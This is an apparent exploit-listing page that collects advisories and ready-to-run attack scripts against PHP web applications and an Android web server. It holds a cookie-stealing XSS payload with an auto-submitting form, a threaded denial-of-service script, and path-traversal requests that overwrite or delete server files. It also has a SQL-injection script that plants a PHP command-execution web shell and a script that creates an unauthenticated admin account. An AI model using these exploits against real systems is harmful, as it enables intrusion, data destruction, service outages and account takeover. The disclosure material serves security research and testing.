Latest exploits :: CodePwn

<pre><code>Document Title: =============== Easy Cart Shopping Cart - (Search) Persistent Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2298 Release Date: ============= 2021-12-15 Vulnerability Laboratory ID (VL-ID): ==================================== 2298 Common Vulnerability Scoring System: ==================================== 5.1 Vulnerability Class: ==================== Cross Site Scripting - Non Persistent Current Estimated Price: ======================== 500€ - 1.000€ Product & Service Introduction: =============================== A mobile-friendly, SEO optimized and easy-to-install (with a free installation also offered also on request) PHP shopping cart script that can be used to add an e-commerce functionality to existing sites or to create simple online stores. Easy Cart is a PHP script allowing to create a simple shopping cart website or integrate a shopping cart functionality in an existing site-the users will be able to browse the products, add them in the cart and check out and make a payment. (Copy of the Homepage:https://www.netartmedia.net/easy-cart ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a cross site scripting web vulnerability in the Easy Cart Shopping Cart PHP Script. Affected Product(s): ==================== NetArt Media Product: Easy Cart Shopping Cart (v2021) - CMS (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-09-01: Researcher Notification & Coordination (Security Researcher) 2021-09-02: Vendor Notification (Security Department) 2021-**-**: Vendor Response/Feedback (Security Department) 2021-**-**: Vendor Fix/Patch (Service Developer Team) 2021-**-**: Security Acknowledgements (Security Department) 2021-12-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Pre Auth (No Privileges or Session) User Interaction: ================= Low User Interaction Disclosure Type: ================ Responsible Disclosure Technical Details & Description: ================================ A non-persistent post inject web vulnerability has been discovered in the official Easy Cart Shopping Cart PHP Script. The vulnerability allows remote attackers to inject malicious script code in post method requests to compromise user session data or to manipulate application contents for clients. The cross site scripting web vulnerability is located in the `keyword_search` parameter of the `index search` module. Remote attackers without privileged access are able to inject own malicious script code in the search input field of the index module post method request. The execution takes place in the results page of the search after submit via post. Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects to malicious source and non-persistent manipulation of affected application modules. Request method(s): [+] POST Vulnerable Input(s): [+] Search (index) Vulnerable Parameter(s): [+] keyword_search Proof of Concept (PoC): ======================= The client-side post inject web vulnerability can be exploited by remote attackers without account and with low or medium user interaction. For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue. PoC: Payload >"<iframe src=evil.source onload=alert(document.cookie)> --- PoC Session Logs (POST) --- https://easy-cart.localhost:8000/cart/index.php Host: easy-cart.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: application/x-www-form-urlencoded Content-Length: 228 Origin:https://easy-cart.localhost:8000 Connection: keep-alive Referer:https://easy-cart.localhost:8000/cart/index.php Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885 page=products&proceed_search=1&keyword_search=>"<iframe src=evil.source onload=alert(document.cookie)>&amount=$299 - $549&only_picture=0 - POST: HTTP/2.0 200 OK server: Apache cache-control: no-store, no-cache, must-revalidate pragma: no-cache vary: Accept-Encoding content-encoding: gzip content-length: 2496 content-type: text/html; charset=UTF-8 - https://easy-cart.localhost:8000/cart/evil.source Host: easy-cart.localhost:8000 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Referer:https://easy-cart.localhost:8000/cart/index.php Cookie: PHPSESSID=24d238178bfb19f9bd93f25f1b465885 - GET: HTTP/2.0 200 OK server: Apache vary: Accept-Encoding content-encoding: gzip content-length: 703 content-type: text/html; charset=UTF-8 PoC: Exploit <html> <head> <title>PoC</title> <style type="text/css"> #nodisplay { display:none; } </style> </head> <body> <div id="nodsiplay"> <form action="https://easy-cart.localhost:8000/cart/index.php" method="post"> <input type="text" name="keyword_search" value="><iframe src=evil.source onload=alert(document.cookie)>"/> </form> </div> <script> function submitForm() { document.forms[0].submit(); } submitForm(); </script> </body> </html> Credits & Authors: ================== Vulnerability-Lab [Research Team] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains:www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE </code></pre>

<pre><code># Exploit Title: AWebServer GhostBuilding 18 - Denial of Service (DoS) # Date: 28/12/2021 # Exploit Author: Andres Ramos [Invertebrado] # Vendor Homepage: http://sylkat-tools.rf.gd/awebserver.htm # Software Link: https://play.google.com/store/apps/details?id=com.sylkat.apache&hl=en # Version: AWebServer GhostBuilding 18 # Tested on: Android #!/usr/bin/python3 # ********************************************************************************* # * Author: Andres Ramos [Invertebrado] * # * AWebServer GhostBuilding 18 - Remote Denial of Service (DoS) & System Crash * # ********************************************************************************* import signal import requests from pwn import * #Colors class colors(): GREEN = "\033[0;32m\033[1m" END = "\033[0m" RED = "\033[0;31m\033[1m" BLUE = "\033[0;34m\033[1m" YELLOW = "\033[0;33m\033[1m" PURPLE = "\033[0;35m\033[1m" TURQUOISE = "\033[0;36m\033[1m" GRAY = "\033[0;37m\033[1m" exit = False def def_handler(sig, frame): print(colors.RED + "\n[!] Exiting..." + colors.END) exit = True sys.exit(0) if threading.activeCount() > 1: os.system("tput cnorm") os._exit(getattr(os, "_exitcode", 0)) else: os.system("tput cnorm") sys.exit(getattr(os, "_exitcode", 0)) signal.signal(signal.SIGINT, def_handler) if len(sys.argv) < 3: print(colors.RED + "\n[!] Usage: " + colors.YELLOW + "{} ".format(sys.argv[0]) + colors.RED + "<" + colors.BLUE + "URL" + colors.RED + "> <" + colors.BLUE + "THREADS" + colors.RED +">" + colors.END) sys.exit(1) url = sys.argv[1] Tr = sys.argv[2] def http(): counter = 0 p1 = log.progress(colors.TURQUOISE + "Requests" + colors.END) while True: r = requests.get(url) r = requests.get(url + "/mysqladmin") counter += 2 p1.status(colors.YELLOW + "({}) ({}/mysqladmin)".format(url, url) + colors.GRAY + " = " + colors.GREEN + "[{}]".format(counter) + colors.END) if exit: break if __name__ == '__main__': threads = [] try: for i in range(0, int(Tr)): t = threading.Thread(target=http) threads.append(t) sys.stderr = open("/dev/null", "w") for x in threads: x.start() for x in threads: x.join() except Exception as e: log.failure(str(e)) sys.exit(1) </code></pre>

<pre><code>Document Title: =============== cWifi Hotspot Wireless CP - Code Execution Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2310 Release Date: ============= 2021-12-15 Vulnerability Laboratory ID (VL-ID): ==================================== 2310 Common Vulnerability Scoring System: ==================================== 8.2 Vulnerability Class: ==================== Code Execution Current Estimated Price: ======================== 2.000€ - 3.000€ Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered code execution vulnerability in the cWifi Hotspot Wireless Captive Portal. Affected Product(s): ==================== Product: cWifi Hotspot Wireless Captive Portal - (PHP) (Web-Application) Vulnerability Disclosure Timeline: ================================== 2021-12-15: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== High Authentication Type: ==================== Restricted Authentication (Guest Privileges) User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A code execution vulnerability has been discovered in the official cWifi Hotspot wireless captive portal web-application. The vulnerability is located in the login status post method request for the spot-cwifi. Remote attackers are able to inject own malicious ip and mac adress credentials in the post method data request. that results in several different typ of vulnerabilities in connection to the phpsessionid. Attackers are able to provoke client-side script code execution via mac or ip parameter in the status post method request. Thus allows the attacker to gain access to the victims wifi connection and session credentials to access. The issue can be process by a full remote attacker after connecting as guest or member to the wifi. The parameter in the post method request are no sanitized correctly and results in a client-side execution. Request Method(s): [+] POST Vulnerable Module(s): [+] /v2/ [+] /logout Vulnerable File(s): [+] status.php Vulnerable Parameter(s): [+] ip [+] mac [+] adress Proof of Concept (PoC): ======================= The critical code execution vulnerability can be exploited by remote attackers with guest access or by authenticated user accounts. For security demonstration or to reproduce the web vulnerability follow the provided information and steps below to continue. Vulnerable Source: status.php (v2/status.php -http://spot.cwifi.de/status) </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-4"></div> <div class="col-md-4"> <form data-ajax="false" action='/v2/status.php?PHPSESSID=06u1m6qlhcp4tbuuapnq8du5c7' method="post"> MAC-Adresse: <[MALICIOUS INJECTED CODE EXECUTION!]> IP Adresse:<[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]> Bytes up/down:7.2 MiB/ 221.6 MiB Session time:7m56s <button name="ABMELDEN" type="submit" class="btn btn-primary btn-lg btn-block">abmelden</button> <button name="DELETE" type="submit" class="btn btn-danger btn-lg btn-block">abmelden und Daten löschen</button> </form> <div class="col-md-4"></div> </div> </div> </body> </html> -- logout status <td valign="middle" align="center"> you have just logged out <table class="tabula" border="1"> <tbody><tr><td align="right">user name</td><td><[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]></td></tr> <tr><td align="right">IP address</td><td><[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]></td></tr> <tr><td align="right">MAC address</td><td><[MALICIOUS INJECTED CODE PAYLOAD EXECUTION!]></td></tr> <tr><td align="right">session time</td><td>4m12s</td></tr> <tr><td align="right">time left</td><td>23h55m48s</td></tr> <tr><td align="right">bytes up/down:</td><td>49.1 KiB / 169.2 KiB</td></tr> </tbody></table> <form action="http://spot.cwifi.de/login" name="login" onsubmit="return openLogin()"> <input type="submit" value="log in"> </form> </td> --- PoC Session Logs (POST) --- POST /v2/status.php HTTP/1.1 Host: hotspot.cwifi.de Content-Length: 1129 Cache-Control: max-age=0 Sec-Ch-Ua: "Chromium";v="93", " Not;A Brand";v="99" Sec-Ch-Ua-Mobile: ?0 Sec-Ch-Ua-Platform: "Windows" Upgrade-Insecure-Requests: 1 Origin:http://spot.cwifi.de Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer:http://spot.cwifi.de/ Accept-Encoding: gzip, deflate Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7 Connection: close - hostname=spot.cwifi.de&identity=Client2822&login-by=http-pap&plain-passwd=yes&server-address=<[MALICIOUS INJECTED CODE!]>%3A80&ssl-login=no &server-name=Client2822_HotSpot&link-login=http%3A%2F%2Fspot.cwifi.de%2Flogin&link-login-only=http%3A%2F%2Fspot.cwifi.de%2Flogin &link-logout=http%3A%2F%2Fspot.cwifi.de%2Flogout&link-status=http%3A%2F%2Fspot.cwifi.de%2Fstatus&link-orig= &domain=&interface-name=2_HotSpotA&ip=<[MALICIOUS INJECTED CODE!]>&logged-in=yes&mac=<[MALICIOUS INJECTED CODE!]>&trial=no&username=90%3ACC%3ADF%3A96%3AF6%3A59 &host-ip=<[MALICIOUS INJECTED CODE!]>&idle-timeout=5h&idle-timeout-secs=18000&limit-bytes-in=&limit-bytes-out=&refresh-timeout=1m&refresh-timeout-secs=60 &session-timeout=23h52m4s&session-timeout-secs=85924&session-time-left=23h52m4s&session-time-left-secs=85924&uptime=7m56s&uptime-secs=476 &bytes-in=7591511&bytes-in-nice=7.2+MiB&bytes-out=232391459&bytes-out-nice=221.6+MiB&packets-in=154484&packets-out=172963&remain-bytes-in= &remain-bytes-out=&session-id=&var=&error=&error-orig=&chap-id=%24%28chap-id%29&chap-challenge=%24%28chap-challenge%29&popup=%24%28popup%29 &advert-pending=no&http-status=%24%28http-status%29&http-header=%24%28http-header%29 - HTTP/1.1 200 OK Server: Apache/2.4.18 (Ubuntu) Set-Cookie: PHPSESSID=06u1m6qlhcp4tbuuapnq8du5c7; path=/ Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Length: 2137 Connection: close Content-Type: text/html; charset=UTF-8 -- via Login https://hotspot.cwifi.de/v2/login.php Host: hotspot.cwifi.de Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 1078 Origin:http://spot.cwifi.de Connection: keep-alive Referer:http://spot.cwifi.de/ Cookie: PHPSESSID=tvpvp06jktbs8hvgm8efh1eh33 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site phone=&hostname=spot.cwifi.de&identity=Client2822&login-by=&plain-passwd=yes&server-address=<[MALICIOUS INJECTED CODE!]>:80&ssl-login=no&server-name=Client2822_HotSpot &link-login=http://spot.cwifi.de/login&link-login-only=http://spot.cwifi.de/login&link-logout=http://spot.cwifi.de/logout&link-status=http://spot.cwifi.de/status &link-orig=&domain=&interface-name=2_HotSpotA&ip=<[MALICIOUS INJECTED CODE!]>&logged-in=no&mac=<[MALICIOUS INJECTED CODE!]>&trial=no&username= &host-ip=<[MALICIOUS INJECTED CODE!]>&idle-timeout=&idle-timeout-secs=0 &limit-bytes-in=&limit-bytes-out=&refresh-timeout=&refresh-timeout-secs=0&session-timeout=&session-timeout-secs=0&session-time-left=&session-time-left-secs=0 &uptime=0s&uptime-secs=0&bytes-in=0&bytes-in-nice=0 B&bytes-out=0&bytes-out-nice=0 B&packets-in=0&packets-out=0&remain-bytes-in=&remain-bytes-out=&session-id= &var=&error=&error-orig=&chap-id=244&chap-challenge=2765623021030016220234114113331227527435520051 &popup=true&advert-pending=no&http-status=$(http-status)&http-header=$(http-header) - POST: HTTP/1.1 200 OK Server: Apache/2.4.18 (Ubuntu) Cache-Control: no-store, no-cache, must-revalidate Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 334 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Security Risk: ============== The security risk of the code execution web vulnerability that allows to attack by multiple vectors to compromise the wifi is estimated as high. Credits & Authors: ================== Vulnerability-Lab [admin@vulnerability-lab.com] -https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.com Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2021 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE </code></pre>

<pre><code># Exploit Title: RiteCMS 3.1.0 - Arbitrary File Overwrite (Authenticated) # Date: 25/07/2021 # Exploit Author: faisalfs10x (https://github.com/faisalfs10x) # Vendor Homepage: https://ritecms.com/ # Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip # Version: <= 3.1.0 # Google Dork: intext:"Powered by RiteCMS" # Tested on: Windows 10, Ubuntu 18, XAMPP # Reference: https://gist.github.com/faisalfs10x/4a3b76f666ff4c0443e104c3baefb91b ################ # Description # ################ # RiteCMS version 3.1.0 and below suffers from an arbitrary file overwrite vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to overwrite any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to write). Furthermore, an attacker might leverage the capability of arbitrary file overwrite to modify existing file such as /etc/passwd or /etc/shadow if the current PHP process user is run as root. ############################################################ # PoC to overwrite existing index.php to display phpinfo() # ############################################################ Steps to Reproduce: 1. Login as admin 2. Go to File Manager 3. Then, click Upload file > Browse.. 4. Upload any file and click checkbox name "overwrite file with same name" 4. Intercept the request and replace current file name to any files path on the server via parameter "file_name". PoC: param file_name - to overwrite index.php to display phpinfo, so the payload will be "../index.php" param filename - with the content of "<?php phpinfo(); ?>" Request: ======== POST /ritecmsv3.1.0/admin.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------351719865731412638493510448298 Content-Length: 1840 Origin: http://localhost DNT: 1 Connection: close Referer: http://192.168.8.143/ritecmsv3.1.0/admin.php?mode=filemanager&action=upload&directory=media Cookie: PHPSESSID=nuevl0lgkrc3dv44g3vgkoqqre Upgrade-Insecure-Requests: 1 Sec-GPC: 1 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="mode" filemanager -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="file"; filename="anyfile.txt" Content-Type: application/octet-stream content of the file to overwrite here -- this is example to overwrite index.php to display phpinfo -- <?php phpinfo(); ?> -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="directory" media -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="file_name" ../index.php -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="overwrite_file" true -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="upload_mode" 1 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="resize_xy" x -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="resize" 640 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="compression" 80 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="thumbnail_resize_xy" x -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="thumbnail_resize" 150 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="thumbnail_compression" 70 -----------------------------351719865731412638493510448298 Content-Disposition: form-data; name="upload_file_submit" OK - Upload file -----------------------------351719865731412638493510448298-- </code></pre>

<pre><code># Exploit Title: RiteCMS 3.1.0 - Arbitrary File Deletion (Authenticated) # Date: 25/07/2021 # Exploit Author: faisalfs10x (https://github.com/faisalfs10x) # Vendor Homepage: https://ritecms.com/ # Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip # Version: <= 3.1.0 # Google Dork: intext:"Powered by RiteCMS" # Tested on: Windows 10, Ubuntu 18, XAMPP # Reference: https://gist.github.com/faisalfs10x/5514b3eaf0a108e27f45657955e539fd ################ # Description # ################ # RiteCMS version 3.1.0 and below suffers from an arbitrary file deletion vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints. ##################################################### # PoC to delete secretConfig.conf file in web root # ##################################################### Steps to Reproduce: 1. Login as admin 2. Go to File Manager 3. Delete any file 4. Intercept the request and replace current file name to any files on the server via parameter "delete". # Assumed there is a secretConfig.conf file in web root PoC: param delete - Deleting secretConfig.conf file in web root, so the payload will be "../secretConfig.conf" Request: ======== GET /ritecms.v3.1.0/admin.php?mode=filemanager&directory=media&delete=../secretConfig.conf&confirmed=true HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Referer: http://localhost/ritecms.v3.1.0/admin.php?mode=filemanager Cookie: PHPSESSID=vs8iq0oekpi8tip402mk548t84 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Sec-GPC: 1 </code></pre>

<pre><code># Exploit Title: Movie Rating System 1.0 - SQLi to RCE (Unauthenticated) # Date: 22/12/2021 # Exploit Author: Tagoletta (Tağmaç) # Software Link: https://www.sourcecodester.com/php/15104/sentiment-based-movie-rating-system-using-phpoop-free-source-code.html # Version: 1.0 # Tested on: Ubuntu # This exploit only works correctly if user is database administrator. if not user is database administrator, continue with sql injection payloads. import requests import random import string from bs4 import BeautifulSoup url = input("TARGET = ") if not url.startswith('http://') and not url.startswith('https://'): url = "http://" + url if not url.endswith('/'): url = url + "/" payload = "<?php if(isset($_GET['tago'])){ $cmd = ($_GET['tago']); system($cmd); die; } ?>" let = string.ascii_lowercase shellname = ''.join(random.choice(let) for i in range(15)) resp = requests.get(url) htmlParser = BeautifulSoup(resp.text, 'html.parser') getMenu = htmlParser.findAll("a", {"class": "nav-link"}) selectPage = "" for i in getMenu: if "movie" in i.text.lower(): selectPage = i["href"] break selectPage = selectPage.replace("./","") findSql = url + selectPage resp = requests.get(findSql) htmlParser = BeautifulSoup(resp.text, 'html.parser') movieList = htmlParser.findAll("a", {"class" : "card card-outline card-primary shadow rounded-0 movie-item text-decoration-none text-dark"}) sqlPage = movieList[0]["href"] sqlPage = sqlPage.replace("./","") sqlPage = url + sqlPage print("\nFinding path") findPath = requests.get(sqlPage + '\'') findPath = findPath.text[findPath.text.index("Warning: ")+17:findPath.text.index(" on line ")] findPath = findPath[findPath.index("")+3:len(findPath)] print("injection page: "+sqlPage) parser = findPath.split('\\') parser.pop() findPath = "" for find in parser: findPath += find + "/" print("\nFound Path : " + findPath) SQLtoRCE = "-1881' OR 1881=1881 LIMIT 0,1 INTO OUTFILE '#PATH#' LINES TERMINATED BY #PAYLOAD# -- -" SQLtoRCE = SQLtoRCE.replace("#PATH#",findPath+shellname+".php") SQLtoRCE = SQLtoRCE.replace("#PAYLOAD#", "0x3"+payload.encode("utf-8").hex()) print("\n\nShell Uploading...") status = requests.get(sqlPage+SQLtoRCE) shellOutput = requests.get(url+shellname+".php?tago=whoami") print("\n\nShell Output : "+shellOutput.text) print("\nShell Path : " + url+shellname+".php") </code></pre>

<pre><code># Exploit Title: Movie Rating System 1.0 - Broken Access Control (Admin Account Creation) (Unauthenticated) # Date: 22/12/2021 # Exploit Author: Tagoletta (Tağmaç) # Software Link: https://www.sourcecodester.com/php/15104/sentiment-based-movie-rating-system-using-phpoop-free-source-code.html # Version: 1.0 # Tested on: Windows import requests import json url = input('Url:') if not url.startswith('http://') and not url.startswith('https://'): url = "http://" + url if not url.endswith('/'): url = url + "/" Username = "tago" Password = "tagoletta" reqUrl = url + "classes/Users.php?f=save" reqHeaders = { "Accept": "*/*", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryTagmac", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Origin": url} reqData = "------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"firstname\"\r\n\r\nTago\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"lastname\"\r\n\r\nLetta\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n"+Username+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n"+Password+"\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"type\"\r\n\r\n1\r\n------WebKitFormBoundaryTagmac\r\nContent-Disposition: form-data; name=\"img\"; filename=\"\"\r\nContent-Type: application/octet-stream\r\n\r\n\r\n------WebKitFormBoundaryTagmac--\r\n" resp = requests.post(reqUrl, headers=reqHeaders, data=reqData) if resp.status_code == 200: print("Admin account created") reqUrl = url + "classes/Login.php?f=login" reqHeaders = { "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36", "Origin": url } reqData = {"username": ""+Username+"", "password": ""+Password+""} resp = requests.post(reqUrl, headers=reqHeaders, data=reqData) data = json.loads(resp.text) status = data["status"] if status == "success": print("Login Successfully\nUsername:"+ Username+"\nPassword:"+Password) else: print("Exploited but not loginned") else: print("Not injectable") </code></pre>